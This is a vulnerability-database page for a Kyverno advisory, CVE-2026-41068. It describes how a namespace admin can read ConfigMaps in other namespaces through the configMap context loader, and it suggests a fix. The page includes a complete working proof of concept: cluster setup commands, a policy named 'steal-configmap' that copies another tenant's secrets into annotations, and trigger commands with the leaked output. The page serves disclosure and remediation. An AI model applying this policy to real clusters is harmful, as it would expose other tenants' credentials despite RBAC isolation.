CVE-2026-41068High· 7.7▾ TwilightKyverno: Cross-Namespace Read Bypasses RBAC Isolation (CVE-2026-22039 Incomplete Fix)
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 42.4 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Jul 21.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.3%
CVE-2026-22039 fixed cross-namespace privilege escalation in Kyverno's apiCall context by validating the URLPath field. However, the ConfigMap context loader has the identical vulnerability — the configMap.namespace field accepts any namespace with zero validation, allowing a namespace admin to read ConfigMaps from any namespace using Kyverno's privileged service account. This is a complete RBAC bypass in multi-tenant Kubernetes clusters.
Root cause: The CVE-2026-22039 fix in pkg/engine/apicall/apiCall.go (lines 73-83) validates that URLPath references only the policy's own namespace using regex. However, the ConfigMap context loader at pkg/engine/context/loaders/configmap.go performs no namespace validation on the namespace field.
Code path comparison:
| CVE-2026-22039 (fixed) | This vulnerability (unfixed) | |
|---|---|---|
| Location | apiCall.URLPath field | configMap.namespace field |
| Code path | apicall.Fetch() → namespace regex validation | configmap.NewConfigMapLoader() → no validation |
| Root cause | Variable substitution + missing validation | Same pattern, still unpatched |
Exploit mechanism:
context.configMap.namespace: "victim-ns" to reference another namespaceview role) fetches the ConfigMapAffected code: pkg/engine/context/loaders/configmap.go - NewConfigMapLoader() does not validate resolved namespace against policy namespace.
Full reproduction (5 minutes on kind):
#!/bin/bash
# Setup: kind cluster + Kyverno v1.17.0
kind create cluster --name kyverno-poc --wait 60s
helm repo add kyverno https://kyverno.github.io/kyverno/
helm install kyverno kyverno/kyverno --namespace kyverno --create-namespace --version 3.7.0 --wait
# Create attacker and victim namespaces
kubectl create namespace attacker-ns
kubectl create namespace victim-ns
# Plant sensitive data in victim namespace
kubectl create configmap sensitive-config -n victim-ns \
--from-literal=db-password="s3cr3t-p4ssw0rd" \
--from-literal=api-key="AKIAIOSFODNN7EXAMPLE"
# Create namespace admin RBAC (standard multi-tenant setup)
kubectl create serviceaccount ns-admin -n attacker-ns
kubectl create rolebinding ns-admin-binding --clusterrole=admin \
--serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns
kubectl create role kyverno-policy-creator --verb=create,get,list \
--resource=policies.kyverno.io --namespace=attacker-ns
kubectl create rolebinding kyverno-policy-binding --role=kyverno-policy-creator \
--serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns
# Verify namespace admin CANNOT directly access victim-ns
kubectl get configmap sensitive-config -n victim-ns \
--as=system:serviceaccount:attacker-ns:ns-admin
# Error: Forbidden (expected)
Exploit policy:
# Apply as namespace admin
apiVersion: kyverno.io/v1
kind: Policy
metadata:
name: configmap-crossns-read
namespace: attacker-ns
spec:
rules:
- name: steal-configmap
match:
any:
- resources:
kinds: [ConfigMap]
names: ["trigger-cm"]
context:
- name: stolendata
configMap:
name: "sensitive-config"
namespace: "victim-ns" # <-- NO VALIDATION
mutate:
patchStrategicMerge:
metadata:
annotations:
exfil-db-password: "{{ stolendata.data.\"db-password\" }}"
exfil-api-key: "{{ stolendata.data.\"api-key\" }}"
Trigger and exfiltrate:
# Trigger policy (as namespace admin)
kubectl apply -f - <<EOF
apiVersion: v1
kind: ConfigMap
metadata:
name: trigger-cm
namespace: attacker-ns
data:
innocent: "data"
EOF
# Read exfiltrated secrets
kubectl get configmap trigger-cm -n attacker-ns -o jsonpath='{.metadata.annotations}' \
--as=system:serviceaccount:attacker-ns:ns-admin | python3 -m json.tool
# Output:
# {
# "exfil-api-key": "AKIAIOSFODNN7EXAMPLE",
# "exfil-db-password": "s3cr3t-p4ssw0rd"
# }
Result: Namespace admin successfully read secrets from victim-ns despite having NO RBAC access.
Severity: HIGH (CVSS 7.7)
Who is affected:
Attack prerequisites:
What can be exfiltrated:
Why this matters:
Suggested fix:
Apply the same namespace validation from apicall.Fetch() to configmap.NewConfigMapLoader():
policyNamespace to NewConfigMapLoader()namespace, validate resolved namespace == policyNamespaceAlso audit other context loaders (globalReference, imageRegistry, variable) for the same pattern.
Tested versions:
github.com/kyverno/kyverno <= 1.17.1Refer to the advisory for the patched release.
Connected by shared product, vendor, weakness, or advisory.
CVE-2025-29778Medium· 5.8Kyverno ignores subjectRegExp and IssuerRegExp
CVE-2023-33191Medium· 4.6kyverno seccomp control can be circumvented
CVE-2026-84196High· 7.7Kyverno before 1.18.0 contains a server-side request forgery vulnerability in apiCall.service.url that allows authenticated users to send arbitrary HTTP requests by injecting user-controlled input through variable substitution
CVE-2023-54356Low· 3.7Kyverno versions 1.9.4 and earlier support insecure 3DES cipher suites (TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA and TLS_RSA_WITH_3DES_EDE_CBC_SHA) on their TLS endpoints
CVE-2026-84200Critical· 9.0Kyverno versions v1.9.0 through v1.12.7 contain a policy exception handling flaw
CVE-2026-84199High· 7.7Kyverno before 1.16.2 contains a server-side request forgery (SSRF) vulnerability in the APICall feature